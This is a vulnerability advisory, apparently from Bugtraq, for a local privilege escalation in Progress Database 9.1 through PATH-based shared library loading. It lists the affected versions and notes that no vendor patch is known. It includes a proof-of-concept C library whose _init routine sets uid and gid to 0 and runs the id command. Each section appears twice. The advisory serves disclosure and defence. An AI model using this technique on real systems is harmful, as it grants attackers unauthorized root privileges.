Progress Database Environment Variable Local Privilege Escalation Vulnerability
BID:7916
Info
Progress Database Environment Variable Local Privilege Escalation Vulnerability
| Bugtraq ID: | 7916 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jun 14 2003 12:00AM |
| Updated: | Jun 14 2003 12:00AM |
| Credit: | Discovery credited to KF. |
| Vulnerable: |
Progress Database 9.1 D06 Progress Database 9.1 D05 Progress Database 9.1 D Progress Database 9.1 C Progress Database 9.1 B Progress Database 9.1 |
| Not Vulnerable: | |
Discussion
Progress Database Environment Variable Local Privilege Escalation Vulnerability
It has been reported that Progress database does not properly handle untrusted input when opening shared libraries. Specifically, the dlopen() function used by several Progress utilities checks the user's PATH environment variable when including shared object libraries. If any shared objects are found, Progress will load and execute them. Due to this, an attacker may be able to gain unauthorized privileges.
Any library code loaded will execute with elevated privileges.
It has been reported that Progress database does not properly handle untrusted input when opening shared libraries. Specifically, the dlopen() function used by several Progress utilities checks the user's PATH environment variable when including shared object libraries. If any shared objects are found, Progress will load and execute them. Due to this, an attacker may be able to gain unauthorized privileges.
Any library code loaded will execute with elevated privileges.
Exploit / POC
Progress Database Environment Variable Local Privilege Escalation Vulnerability
The following proof of concept was provided:
#include <stdio.h>
#include <string.h>
// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init
int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}
_init() {
setuid(0);
setgid(0);
printf("bullshit library loaded\n");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
}
The following proof of concept was provided:
#include <stdio.h>
#include <string.h>
// If you wanted to get creative you can hack out some fake functions for
// use later ... but theres no need... just use _init
int ehnLogOpen(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogOpen \n");
}
int ehnLogClose(int argc, char * const argv[], const char *optstring) {
printf("This is a fake ehnLogClose\n");
}
_init() {
setuid(0);
setgid(0);
printf("bullshit library loaded\n");
system("/usr/bin/id > /tmp/p00p");
system("cat /tmp/p00p");
}
Solution / Fix
Progress Database Environment Variable Local Privilege Escalation Vulnerability
Solution:
It has been reported that this issue will be fixed in the 10 series of Progress database software. This has not been confirmed by the vendor.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
It has been reported that this issue will be fixed in the 10 series of Progress database software. This has not been confirmed by the vendor.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Progress Database Environment Variable Local Privilege Escalation Vulnerability
References:
References: